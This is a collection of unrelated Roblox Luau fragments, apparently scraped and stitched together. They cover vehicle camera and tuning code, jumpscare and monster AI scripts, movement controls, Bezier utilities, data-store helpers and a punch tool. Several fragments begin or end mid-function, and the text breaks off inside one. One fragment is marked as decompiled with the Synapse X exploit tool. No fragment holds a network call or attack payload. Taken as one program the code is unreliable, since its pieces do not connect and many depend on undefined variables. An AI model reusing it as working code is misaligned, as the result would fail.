if child.Name=="SeatWeld" then for i,v in pairs(Binded) do run:UnbindFromRenderStep(v) end workspace.CurrentCamera.CameraType=Enum.CameraType.Custom workspace.CurrentCamera.FieldOfView=70 player.CameraMaxZoomDistance=400 getC(car.Misc.Anims,0) getC(player.Character,0) end end) function Camera() local cam=workspace.CurrentCamera local intcam=false local CRot=0 local CBack=0 local CUp=0 local mode=0 local look=0 local camChange = 0 local function CamUpdate() if not pcall (function() if camChange==0 and DPadUp==1 then intcam = not intcam end camChange=DPadUp if mode==1 then if math.abs(RStickX)>.1 then local sPos=1 if RStickX<0 then sPos=-1 end if intcam then CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80 else CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90 end else CRot=0 end if math.abs(RStickY)>.1 then local sPos=1 if RStickY<0 then sPos=-1 end if intcam then CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30 else CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30) end else CUp=0 end else if CRot>look then CRot=math.max(look,CRot-20) elseif CRot<look then CRot=math.min(look,CRot+20) end CUp=0 end if intcam then CBack=0 else CBack=-180*ButtonR3 end if intcam then getC(car.Misc.Anims,1) getC(player.Character,1) cam.CameraSubject=player.Character.Humanoid cam.CameraType=Enum.CameraType.Scriptable cam.FieldOfView=80 player.CameraMaxZoomDistance=0 local cf=car.Body.Cam.CFrame if ButtonR3==1 then cf=car.Body.RCam.CFrame end if apexlook then look = car.Body.bal.Orientation.Z/3 end cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,math.rad(-car.Body.bal.Orientation.Z)) else getC(car.Misc.Anims,0) getC(player.Character,0) cam.CameraSubject=car.DriveSeat cam.FieldOfView=70 if mode==0 then cam.CameraType=Enum.CameraType.Custom player.CameraMaxZoomDistance=400 run:UnbindFromRenderStep("CamUpdate") else cam.CameraType = "Scriptable" local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500) local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed) cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position) end end end) then cam.FieldOfView=70 cam.CameraSubject=player.Character.Humanoid cam.CameraType=Enum.CameraType.Custom player.CameraMaxZoomDistance=400 run:UnbindFromRenderStep("CamUpdate") end end local function ModeChange() if GMode~=mode then mode=GMode run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate) end end mouse.KeyDown:connect(function(key) if key=="f" then run:UnbindFromRenderStep("CamUpdate") intcam=not intcam run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate) end end) run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange) table.insert(Binded,"CamUpdate") table.insert(Binded,"CMChange") end Camera() mouse.KeyDown:connect(function(key) if key=="b" then if GMode>=1 then GMode=0 else GMode=GMode+1 end if GMode==1 then Controller=true else Controller=false end end end)
-- Decompiled with the Synapse X Luau decompiler.
local u1 = require(script.Parent); local u2 = script:FindFirstAncestor("MainUI"); return function(p1) if p1 == "Rush" then u1.deathtick = tick() + 10; game.SoundService.Main.Volume = 0; script.Jumpscare_Rush:Play(); u2.Jumpscare.Jumpscare_Rush.Visible = true; local v1 = tick(); local v2 = math.random(5, 30) / 10; local v3 = v2 + math.random(10, 60) / 10; local v4 = 0.25; for v5 = 1, 100000 do task.wait(); if v1 + v2 <= tick() then u2.Jumpscare.Jumpscare_Rush.ImageLabel.Visible = true; v2 = v2 + math.random(7, 44) / 10; script.Jumpscare_Rush.Pitch = 1 + math.random(-100, 100) / 500; u2.Jumpscare.Jumpscare_Rush.BackgroundColor3 = Color3.new(0, 0, math.random(0, 10) / 255); u2.Jumpscare.Jumpscare_Rush.ImageLabel.Position = UDim2.new(0.5, math.random(-2, 2), 0.5, math.random(-2, 2)); v4 = v4 + 0.05; u2.Jumpscare.Jumpscare_Rush.ImageLabel.Size = UDim2.new(v4, 0, v4, 0); end; if v1 + v3 <= tick() then break; end; end; u2.Jumpscare.Jumpscare_Rush.ImageLabel.Visible = true; script.Jumpscare_Rush:Stop(); script.Jumpscare_Rush2:Play(); u2.Jumpscare.Jumpscare_Rush.ImageLabel.Visible = false; u2.Jumpscare.Jumpscare_Rush.ImageLabelBig.Visible = true; u2.Jumpscare.Jumpscare_Rush.ImageLabelBig:TweenSize(UDim2.new(2.5, 0, 2.5, 0), "In", "Sine", 0.3, true); local v6 = tick(); for v7 = 1, 1000 do local v8 = math.random(0, 10) / 10; u2.Jumpscare.Jumpscare_Rush.BackgroundColor3 = Color3.new(v8, v8, math.clamp(math.random(25, 50) / 50, v8, 1)); u2.Jumpscare.Jumpscare_Rush.ImageLabelBig.Position = UDim2.new(0.5 + math.random(-100, 100) / 5000, 0, 0.5 + math.random(-100, 100) / 3000, 0); task.wait(0.016666666666666666); if v6 + 0.3 <= tick() then break; end; end; u2.Jumpscare.Jumpscare_Rush.ImageLabelBig.Visible = false; u2.Jumpscare.Jumpscare_Rush.BackgroundColor3 = Color3.new(0, 0, 0); u2.Jumpscare.Jumpscare_Rush.Visible = false; u1.deathtick = tick(); return; end; if p1 ~= "Ambush" then return; end; u1.deathtick = tick() + 10; game.SoundService.Main.Volume = 0; script.Jumpscare_Ambush:Play(); u2.Jumpscare.Jumpscare_Ambush.Visible = true; local v9 = tick(); local v10 = math.random(5, 30) / 100; local v11 = v10 + math.random(10, 60) / 100; local v12 = 0.2; for v13 = 1, 100000 do task.wait(0.016666666666666666); u2.Jumpscare.Jumpscare_Ambush.ImageLabel.Position = UDim2.new(0.5, math.random(-15, 15), 0.5, math.random(-15, 15)); u2.Jumpscare.Jumpscare_Ambush.BackgroundColor3 = Color3.new(0, math.random(4, 10) / 255, math.random(0, 3) / 255); if v9 + v10 <= tick() then u2.Jumpscare.Jumpscare_Ambush.ImageLabel.Visible = true; v10 = v10 + math.random(7, 44) / 100; script.Jumpscare_Ambush.Pitch = math.random(35, 155) / 100; u2.Jumpscare.Jumpscare_Ambush.BackgroundColor3 = Color3.new(0, math.random(4, 10) / 255, math.random(0, 3) / 255); u2.Jumpscare.Jumpscare_Ambush.ImageLabel.Position = UDim2.new(0.5, math.random(-25, 25), 0.5, math.random(-25, 25)); v12 = v12 + 0.05; u2.Jumpscare.Jumpscare_Ambush.ImageLabel.Size = UDim2.new(v12, 0, v12, 0); end; if v9 + v11 <= tick() then break; end; end; script.Jumpscare_Ambush2:Play(); u2.Jumpscare.Jumpscare_Ambush.ImageLabel.Visible = true; u2.Jumpscare.Jumpscare_Ambush.ImageLabel:TweenSize(UDim2.new(9, 0, 9, 0), "In", "Quart", 0.3, true); local v14 = tick(); for v15 = 1, 100 do local v16 = math.random(0, 10) / 10; u2.Jumpscare.Jumpscare_Ambush.BackgroundColor3 = Color3.new(v16, math.clamp(math.random(25, 50) / 50, v16, 1), math.clamp(math.random(25, 50) / 150, v16, 1)); game["Run Service"].RenderStepped:wait(); if v14 + 0.3 <= tick() then break; end; end; script.Jumpscare_Ambush:Stop(); u2.Jumpscare.Jumpscare_Ambush.ImageLabel.Visible = false; u2.Jumpscare.Jumpscare_Ambush.BackgroundColor3 = Color3.new(0, 0, 0); u2.Jumpscare.Jumpscare_Ambush.Visible = false; u1.deathtick = tick(); end;
--------------------------
script.Parent.Pitch.Changed:connect(function() for i,v in pairs(script.Parent:GetChildren()) do if v:IsA("Sound") then v.Pitch = script.Parent.Pitch.Value/10 end end end)
-- print(animName .. " " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim -- load it to the humanoid; get AnimationTrack oldAnimTrack = currentAnimTrack currentAnimTrack = humanoid:LoadAnimation(anim) -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName -- set up keyframe name triggers if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) end end
--[=[ Cleans up the BaseObject and sets the metatable to nil ]=]
function SpringObject:Destroy() self._maid:DoCleaning() setmetatable(self, nil) end return SpringObject
-- Enemy constructor
function Enemy.new(enemyType, location, target, difficulty) assert(enemies[enemyType], "Invalid enemy type") local self = setmetatable({}, Enemy) self._model = enemies[enemyType]:Clone() -- Disable unnecessary behaviors of humanoid to make game more efficient self._model.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, false) self._model.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing, false) self._model.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming, false) -- Set enemy health based on difficulty self._model.Humanoid.MaxHealth = GameSettings.EnemyHealthDifficulty[difficulty] self._model.Humanoid.Health = GameSettings.EnemyHealthDifficulty[difficulty] -- Tag the enemy's model CollectionService:AddTag(self._model, "Enemy") self._model.Humanoid.Died:Connect(function() self:_destroy() end) self._model.HumanoidRootPart.Touched:Connect(function(otherPart) self:_onTouch(otherPart) end) self._target = target self._active = false self._model:SetPrimaryPartCFrame(location) self._model.Parent = game.Workspace.Targets return self end function Enemy:_update() if self._model and self._model:FindFirstChild("Humanoid") then local targetPosition = self._target.PrimaryPart.Position local targetVelocity = self._target.PrimaryPart.AssemblyLinearVelocity local predictedPosition = targetPosition + targetVelocity * 4 self._model.Humanoid:MoveTo(targetPosition) end end
--[[ The 'smarter' version of `cleanupOnDestroy` - this attempts to match the results from the 'dumber' polling-based version by using events to reduce processing. I'd like to improve this technique in the future - it breaks in a fair few edge cases right now, so in the interest of stability I don't want to adopt it yet. ]]
local RunService = game:GetService("RunService") local Package = script.Parent.Parent local cleanup = require(Package.Utility.cleanup)
-- returns the tangent vector in the direction of the path made by the bezier at t (where t is relative to the length of the Bezier Curve) -- does not work if the bezier does not have at least 2 points -- the given t value must be between 0 and 1
function Bezier:CalculateDerivativeRelativeToLength(t: number): Vector3 -- check if t is a number between 0 and 1 if type(t) ~= "number" then error("Bezier:CalculateDerivativeRelativeToLength() only accepts a number, got " .. tostring(t) .. "!") end -- start algorithm to calculate derivative in bezier local points = self.Points local numPoints = #points -- check if there are at least 2 points if numPoints > 1 then -- important values local length = self.Length local lengthIndeces = self.LengthIndeces local iterations = self.LengthIterations local points = self:GetAllPoints() -- get length of bezier local targetLength = length * t -- iterate through sum table local nearestParameterIndex, nearestParameter for i, orderedPair in ipairs(lengthIndeces) do if targetLength - orderedPair[2] <= 0 then nearestParameterIndex = i nearestParameter = orderedPair break elseif i == #lengthIndeces then nearestParameterIndex = i nearestParameter = orderedPair break end end -- calculate percent error local d0, d1 if lengthIndeces[nearestParameterIndex - 1] then d0, d1 = self:CalculateDerivativeAt(lengthIndeces[nearestParameterIndex - 1][1]), self:CalculateDerivativeAt(nearestParameter[1]) else d0, d1 = self:CalculateDerivativeAt(nearestParameter[1]), self:CalculateDerivativeAt(lengthIndeces[nearestParameterIndex + 1][1]) end local percentError = (nearestParameter[2] - targetLength) / (d1 - d0).Magnitude -- return the derivative at the nearestParameter return d0 + (d1 - d0) * (1 - percentError) else -- not enough points to calculate derivative error("Bezier:CalculateDerivativeRelativeToLength() only works if there are at least 2 BezierPoints!") end end
--// Variables
local L_1_ = script.Parent local L_2_ = L_1_.Parent.Parent local L_3_ = L_2_.Character local L_4_ = game.ReplicatedStorage:FindFirstChild('[WB] Leaderstat Network') or nil
--[=[ Merges the new data into the original value @param original table? @return table -- The original table ]=]
function DataStoreWriter:WriteMerge(original) original = original or {} for key, value in pairs(self._rawSetData) do if value == DataStoreDeleteToken then original[key] = nil else original[key] = value end end for key, writer in pairs(self._writers) do if self._rawSetData[key] ~= nil then warn(("[DataStoreWriter.WriteMerge] - Overwritting key %q already saved as rawData with a writer") :format(tostring(key))) end local result = writer:WriteMerge(original[key]) if result == DataStoreDeleteToken then original[key] = nil else original[key] = result end end return original end return DataStoreWriter
-- Table of camera controllers that have been instantiated. They are instantiated as they are used.
local instantiatedCameraControllers = {} local instantiatedOcclusionModules = {}
--[[Weight and CG]]
Tune.Weight = 1000 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensionws in studs ; larger = more stable) --[[Width]] 6.5 , --[[Height]] 4.8 , --[[Length]] 17 } Tune.WeightDist = 51 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .7 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = MORE STABLE / carry more weight) Tune.AxleDensity = .1 -- Density of structural members
--!nonstrict -- Roblox character sound script
local Players = game:GetService("Players") local RunService = game:GetService("RunService") local AtomicBinding = require(script:WaitForChild("AtomicBinding")) local function loadFlag(flag: string) local success, result = pcall(function() return UserSettings():IsUserFeatureEnabled(flag) end) return success and result end local SOUND_DATA : { [string]: {[string]: any}} = { Climbing = { SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3", Looped = true, }, Died = { SoundId = "", }, FreeFalling = { SoundId = "", Looped = true, }, GettingUp = { SoundId = "", }, Jumping = { SoundId = "", }, Landing = { SoundId = "", }, Running = { SoundId = "", Looped = true, Pitch = 1.85, }, Splash = { SoundId = "", }, Swimming = { SoundId = "", Looped = true, Pitch = 1.6, }, }
--Made by Luckymaxer
Model = script.Parent Creator = Model:FindFirstChild("Creator") Enabled = false wait(1) if Creator and Creator.Value and Creator.Value.Parent and Creator.Value:IsA("Player") and Creator.Value.Character then Player = Creator.Value Character = Player.Character Humanoid = Character:FindFirstChild("Humanoid") if Humanoid and Humanoid.Health > 0 then Player.Changed:connect(function(Property) if Property == "Parent" and not Player.Parent then Model:Destroy() end end) Character.Changed:connect(function(Property) if Property == "Parent" and not Character.Parent then Model:Destroy() end end) Humanoid.Died:connect(function() Model:Destroy() end) Enabled = true end end if not Enabled then Model:Destroy() end
--[[ Constants ]]
-- local DPAD_SHEET = "rbxasset://textures/ui/DPadSheet.png" local TOUCH_CONTROL_SHEET = "rbxasset://textures/ui/TouchControlsSheet.png"
-- RemoteProperty -- Stephen Leitnick -- December 20, 2021
local Players = game:GetService("Players") local Util = require(script.Parent.Parent.Util) local Types = require(script.Parent.Parent.Types) local RemoteSignal = require(script.Parent.RemoteSignal) local None = Util.None
--example of use:
shakeCamera(1, script.Parent.HumanoidRootPart.Position, true)
---------------------------------------------------------------------------------------------------- ------------------=[ Status UI ]=------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,EnableStatusUI = false --- Don't disabled it... ,RunWalkSpeed = 22 ,NormalWalkSpeed = 16 ,SlowPaceWalkSpeed = 8 ,CrouchWalkSpeed = 8 ,ProneWalksSpeed = 4 ,EnableHunger = false --- Hunger and Thirst system ,HungerWaitTime = 25 ,CanDrown = true --- Welp.. That's it ,EnableStamina = true --- Weapon Sway based on stamina ,RunValue = 1 --- Stamina consumption ,StandRecover = .25 --- Stamina recovery while stading ,CrouchRecover = .5 --- Stamina recovery while crouching ,ProneRecover = 1 --- Stamina recovery while lying ,EnableGPS = false --- GPS shows your allies around you ,GPSdistance = 150 ,InteractionMenuKey = Enum.KeyCode.LeftControl
--[[ Public API ]]
-- function KeyboardMovement:Enable() if not UserInputService.KeyboardEnabled then return end local forwardValue = 0 local backwardValue = 0 local leftValue = 0 local rightValue = 0 local updateMovement = function() MasterControl:AddToPlayerMovement(-currentMoveVector) currentMoveVector = Vector3.new(leftValue + rightValue,0,forwardValue + backwardValue) MasterControl:AddToPlayerMovement(currentMoveVector) end local moveForwardFunc = function(actionName, inputState, inputObject) if inputState == Enum.UserInputState.Begin then forwardValue = -1 elseif inputState == Enum.UserInputState.End then forwardValue = 0 end updateMovement() end local moveBackwardFunc = function(actionName, inputState, inputObject) if inputState == Enum.UserInputState.Begin then backwardValue = 1 elseif inputState == Enum.UserInputState.End then backwardValue = 0 end updateMovement() end local moveLeftFunc = function(actionName, inputState, inputObject) if inputState == Enum.UserInputState.Begin then leftValue = -1 elseif inputState == Enum.UserInputState.End then leftValue = 0 end updateMovement() end local moveRightFunc = function(actionName, inputState, inputObject) if inputState == Enum.UserInputState.Begin then rightValue = 1 elseif inputState == Enum.UserInputState.End then rightValue = 0 end updateMovement() end local jumpFunc = function(actionName, inputState, inputObject) MasterControl:SetIsJumping(inputState == Enum.UserInputState.Begin) end -- TODO: remove up and down arrows, these seem unnecessary ContextActionService:BindActionToInputTypes("forwardMovement", moveForwardFunc, false, Enum.PlayerActions.CharacterForward) ContextActionService:BindActionToInputTypes("backwardMovement", moveBackwardFunc, false, Enum.PlayerActions.CharacterBackward) ContextActionService:BindActionToInputTypes("leftMovement", moveLeftFunc, false, Enum.PlayerActions.CharacterLeft) ContextActionService:BindActionToInputTypes("rightMovement", moveRightFunc, false, Enum.PlayerActions.CharacterRight) ContextActionService:BindActionToInputTypes("jumpAction", jumpFunc, false, Enum.PlayerActions.CharacterJump) -- TODO: make sure we check key state before binding to check if key is already down local function onFocusReleased() local humanoid = getHumanoid() if humanoid then MasterControl:AddToPlayerMovement(-currentMoveVector) currentMoveVector = Vector3.new(0, 0, 0) forwardValue, backwardValue, leftValue, rightValue = 0, 0, 0, 0 MasterControl:SetIsJumping(false) end end local function onTextFocusGained(textboxFocused) MasterControl:SetIsJumping(false) end SeatJumpCn = UserInputService.InputBegan:connect(function(inputObject, isProcessed) if inputObject.KeyCode == Enum.KeyCode.Backspace and not isProcessed then local humanoid = getHumanoid() if humanoid and (humanoid.Sit or humanoid.PlatformStand) then MasterControl:DoJump() end end end) TextFocusReleasedCn = UserInputService.TextBoxFocusReleased:connect(onFocusReleased) TextFocusGainedCn = UserInputService.TextBoxFocused:connect(onTextFocusGained) -- TODO: remove pcall when API is live WindowFocusReleasedCn = UserInputService.WindowFocused:connect(onFocusReleased) end function KeyboardMovement:Disable() ContextActionService:UnbindAction("forwardMovement") ContextActionService:UnbindAction("backwardMovement") ContextActionService:UnbindAction("leftMovement") ContextActionService:UnbindAction("rightMovement") ContextActionService:UnbindAction("jumpAction") if SeatJumpCn then SeatJumpCn:disconnect() SeatJumpCn = nil end if TextFocusReleasedCn then TextFocusReleasedCn:disconnect() TextFocusReleasedCn = nil end if TextFocusGainedCn then TextFocusGainedCn:disconnect() TextFocusGainedCn = nil end if WindowFocusReleasedCn then WindowFocusReleasedCn:disconnect() WindowFocusReleasedCn = nil end MasterControl:AddToPlayerMovement(-currentMoveVector) currentMoveVector = Vector3.new(0,0,0) MasterControl:SetIsJumping(false) end return KeyboardMovement
--This module is for any client FX related to the first door on the left.
local DoorFX = {} local tweenService = game:GetService("TweenService") local tweenInfo = TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut) function DoorFX.OPEN(door) if not door then return end tweenService:Create(door.Door.Main, tweenInfo, {CFrame = door.Door.Goal.CFrame}):Play() door.Door.Main.DoorOpenFADEOUT:Play() end function DoorFX.CLOSE(door) if not door then return end door.Door.Main.CFrame = door.Door.Home.CFrame end return DoorFX
--[[ By: Brutez. ]]
-- local FreeSCP096Script=script; local FreeSCP096=FreeSCP096Script.Parent; local FreeSCP096Humanoid=nil; local FreeSCP096Head=FreeSCP096:FindFirstChild("Head"); local FreeSCP096Idle=FreeSCP096Head:FindFirstChild("Idle"); local FreeSCP096Panic=FreeSCP096Head:FindFirstChild("Panic"); local FreeSCP096Scream=FreeSCP096Head:FindFirstChild("Scream"); local FreeSCP096Kill=FreeSCP096Head:FindFirstChild("Damage5"); local FreeSCP096Torso=FreeSCP096:FindFirstChild("Torso"); for _,Child in pairs(FreeSCP096:GetChildren())do if Child.ClassName=="Humanoid"then FreeSCP096Humanoid=Child; end end local NoticeDistanceTime=0; local Noticed=false; function findNearestTorso(pos) local NoticeDistance=250; local torso=nil; for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do if TargetModel.className=="Model"and TargetModel~=FreeSCP096 and TargetModel:FindFirstChild("Torso")and TargetModel:FindFirstChild("Head")then local TargetPart=TargetModel:FindFirstChild("Torso") local FoundHumanoid=nil; for _,Child in pairs(TargetModel:GetChildren())do if Child.ClassName=="Humanoid"then FoundHumanoid=Child; end end if TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<NoticeDistance then if not Noticed and TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<20 then if FreeSCP096Idle.IsPlaying then FreeSCP096Idle:Stop() end if FreeSCP096Scream.IsPlaying then FreeSCP096Scream:Stop() end FreeSCP096Panic:Play() FreeSCP096Humanoid.WalkSpeed=1; Wait(12) Noticed=true end if Noticed then torso=TargetPart; NoticeDistance=(TargetPart.Position-pos).magnitude; end; end; if TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<6 then FreeSCP096Kill:Play() FoundHumanoid:TakeDamage(99999e99999) end end end return torso end while Wait(0)do FreeSCP096Humanoid.MaxHealth=99999e99999 FreeSCP096Humanoid.Health=99999e99999 if FreeSCP096Humanoid and not FreeSCP096Humanoid.AutoJumpEnabled then FreeSCP096Humanoid.AutoJumpEnabled=true; end if FreeSCP096Humanoid and not FreeSCP096Humanoid.AutoRotate then FreeSCP096Humanoid.AutoRotate=true; end if FreeSCP096Humanoid and FreeSCP096Humanoid.PlatformStand then FreeSCP096Humanoid.PlatformStand=false; end if FreeSCP096Humanoid and FreeSCP096Humanoid.Sit then FreeSCP096Humanoid.Sit=false; end if Noticed then NoticeDistanceTime=NoticeDistanceTime+1 if NoticeDistanceTime==500 or NoticeDistanceTime>500 then Noticed=false; NoticeDistanceTime=0 end end local TargetPart=findNearestTorso(FreeSCP096Torso.Position); if TargetPart then if TargetPart and (TargetPart.Position-FreeSCP096Torso.Position).magnitude<50 and NoticeDistanceTime>0 then NoticeDistanceTime=NoticeDistanceTime-2 end if FreeSCP096Idle.IsPlaying then FreeSCP096Idle:Stop() end if not FreeSCP096Scream.IsPlaying then FreeSCP096Scream:Play() end FreeSCP096Humanoid.WalkSpeed=35; FreeSCP096Humanoid:MoveTo(TargetPart.Position+Vector3.new(math.random(-4,4),TargetPart.Position.Y,math.random(-4,4)),TargetPart); else if not FreeSCP096Idle.IsPlaying then FreeSCP096Idle:Play() end if FreeSCP096Scream.IsPlaying then FreeSCP096Scream:Stop() end FreeSCP096Humanoid.WalkSpeed=10; local WanderChance=math.random(1,50); local JumpChance=math.random(1,100); if WanderChance==10 then local randompos=FreeSCP096Torso.Position+((Vector3.new(1,0,1)*math.random()-Vector3.new(.5,0,.5))*40); FreeSCP096Humanoid:MoveTo(randompos,game.Workspace.Terrain); end if JumpChance==10 then FreeSCP096Humanoid.Jump=true; end end end
--light setup!--
local mod = pln:findFirstChild("Lights") for i,v in pairs(mod:GetChildren()) do mod:findFirstChild("FlashScript").Disabled = true if(v.className == "Part") then if(v:findFirstChild("Gui").Enabled == true) then v:findFirstChild("Gui").Enabled = false end if(v:findFirstChild("Gui").Adornee == nil) then v:findFirstChild("Gui").Adornee = v:findFirstChild("Gui").Parent end end end
--[=[ Creates an immediately resolved Promise with the given value. ```lua -- Example using Promise.resolve to deliver cached values: function getSomething(name) if cache[name] then return Promise.resolve(cache[name]) else return Promise.new(function(resolve, reject) local thing = getTheThing() cache[name] = thing resolve(thing) end) end end ``` @param ... any @return Promise<...any> ]=]
function Promise.resolve(...) local length, values = pack(...) return Promise._new(debug.traceback(nil, 2), function(resolve) resolve(unpack(values, 1, length)) end) end
--Modules
local WaitService = game.ReplicatedStorage.Modules.WaitService local Replication_Module = require(game.ReplicatedStorage.Modules.Local_Reaction)
-- dir = newdir
--dir = dir.unit --newBV.velocity = dir * 32 --end --newBG.cframe = CFrame.new(torso.Position, target*Vector3.new(1,0,1) + Vector3.new(0, torso.Position.Y, 0) ) * CFrame.Angles(-math.pi/2, 0, 0) --wait(.1) --end -- end of testing for fun --for i = 1, 3 do
--[[ [Whether the whole character turns to face the mouse.] [If set to true, MseGuide will be set to true and both HeadHorFactor and BodyHorFactor will be set to 0] --]]
local TurnCharacterToMouse = false
--[[Drivetrain Initialize]]
local Drive={} --Power Front Wheels if _Tune.Config == "FWD" or _Tune.Config == "AWD" then for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then table.insert(Drive,v) end end end --Power Rear Wheels if _Tune.Config == "RWD" or _Tune.Config == "AWD" then for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="RL" or v.Name=="RR" or v.Name=="R" then table.insert(Drive,v) end end end --Determine Wheel Size local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end --Pre-Toggled PBrake for i,v in pairs(car.Wheels:GetChildren()) do if math.abs(v["#AV"].maxTorque.Magnitude-PBrakeForce)<1 then _PBrake=true end end
--// Events
local L_100_ = L_20_:WaitForChild('Equipped') local L_101_ = L_20_:WaitForChild('ShootEvent') local L_102_ = L_20_:WaitForChild('DamageEvent') local L_103_ = L_20_:WaitForChild('CreateOwner') local L_104_ = L_20_:WaitForChild('Stance') local L_105_ = L_20_:WaitForChild('HitEvent') local L_106_ = L_20_:WaitForChild('KillEvent') local L_107_ = L_20_:WaitForChild('AimEvent') local L_108_ = L_20_:WaitForChild('ExploEvent')
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
local damagetime local damagedb = false for _, zambieparts in pairs(zombie:GetChildren())do if zambieparts:IsA'Part' and human.Health > 0 then zambieparts.Touched:connect(function(p) if p.Parent.Name == chaseName and p.Parent.Name ~= zombie.Name and not damagedb then -- damage damagedb = true damagetime = time() local enemy = p.Parent local enemyhuman = getHumanoid(enemy) vars.Attacking.Value = true enemyhuman.WalkSpeed = 0 local animation = script.Parent.Zombie:LoadAnimation(script.Parent.Attack) animation:Play() script.Parent.HumanoidRootPart.Theme:Stop() head.Jumpscare:Play() wait(0.83) head.Hit2:Play() enemyhuman:TakeDamage(ZombieDamage) wait(1) script.Parent.HumanoidRootPart.Theme:Play() vars.Attacking.Value = false while wait() do if damagetime ~= nil and time() >= (damagetime + DamageWait) then damagedb = false damagetime = nil end end end end) end end
-- headless
local function onPlayerChatted(player, message) if message == '/headless' and player.Character and player.Character:FindFirstChild("Head") then player.Character.Head.Transparency = 1 player.Character.Head.face.Transparency = 1 end end local function onPlayerAdded(player) player.Chatted:Connect(function (message) onPlayerChatted(player, message) end) end game.Players.PlayerAdded:Connect(onPlayerAdded)
--// Damage Settings
Damage = 32; HeadDamage = 1000; -- If you set this to 100, there's a chance the player won't die because of the heal script
--
tool.Equipped:connect(function() equipped = true owner = game:GetService("Players"):GetPlayerFromCharacter(tool.Parent) character = owner.Character local rightarm = Instance.new("Weld", character.Torso) rightarm.Part0 = character.Torso rightarm.Part1 = character["Right Arm"] rightarm.C0 = CFrame.new(1.5,0,0) rightarm.Name = "RightArmWeldpunch" local leftarm = Instance.new("Weld", character.Torso) leftarm.Part0 = character.Torso leftarm.Part1 = character["Left Arm"] leftarm.C0 = CFrame.new(-1.5,0,0) leftarm.Name = "LeftArmWeldpunch" local head = Instance.new("Weld", character.Torso) head.Part0 = character.Torso head.Part1 = character.Head head.C0 = CFrame.new(0,1.5,0) head.Name = "HeadWeldpunch" local humanoidrootpart = Instance.new("Weld", character.HumanoidRootPart) humanoidrootpart.Part0 = character.HumanoidRootPart humanoidrootpart.Part1 = character.Torso humanoidrootpart.Name = "HumanoidRootPartWeldpunch" for i,v in pairs(script:GetChildren()) do if v.ClassName == "Sound" then v.Parent = character.HumanoidRootPart end end cananimate = true local savedchar = character local lasthp = character:findFirstChildOfClass("Humanoid").Health coroutine.wrap(function() local humhp = character:findFirstChildOfClass("Humanoid").Health while runservice.Stepped:wait() and equipped do if character:findFirstChildOfClass("Humanoid").Health < humhp then local thedamage = humhp - character:findFirstChildOfClass("Humanoid").Health character:findFirstChildOfClass("Humanoid").Health = character:findFirstChildOfClass("Humanoid").Health - thedamage / 10 end if cananimate then head.C0 = head.C0:lerp(CFrame.new(0,1.5,0),0.1) humanoidrootpart.C0 = humanoidrootpart.C0:lerp(CFrame.new(),0.2) leftarm.C0 = leftarm.C0:lerp(CFrame.new(-0.8,0.15,-0.5) * CFrame.fromEulerAnglesXYZ(math.pi-(math.rad(20)),0,math.rad(15)) * CFrame.new(0,-0.1,0),0.2) rightarm.C0 = rightarm.C0:lerp(CFrame.new(0.8,0.15,-0.5) * CFrame.fromEulerAnglesXYZ(math.pi-(math.rad(20)),0,math.rad(-15)) * CFrame.new(0,-0.1,0),0.2) end humhp = character:findFirstChildOfClass("Humanoid").Health end end)() end) tool.Unequipped:connect(function() equipped = false instancewhitelist = {} mouseclick = false cananimate = false for i,v in pairs(character.HumanoidRootPart:GetChildren()) do if v.ClassName == "Sound" then v.Parent = script end end if character.Torso:findFirstChild("LeftArmWeldpunch") then character.Torso:findFirstChild("LeftArmWeldpunch"):destroy() end if character.Torso:findFirstChild("RightArmWeldpunch") then character.Torso:findFirstChild("RightArmWeldpunch"):destroy() end if character.Torso:findFirstChild("HeadWeldpunch") then character.Torso:findFirstChild("HeadWeldpunch"):destroy() end if character:findFirstChild("HumanoidRootPart") then if character.HumanoidRootPart:findFirstChild("HumanoidRootPartWeldpunch") then 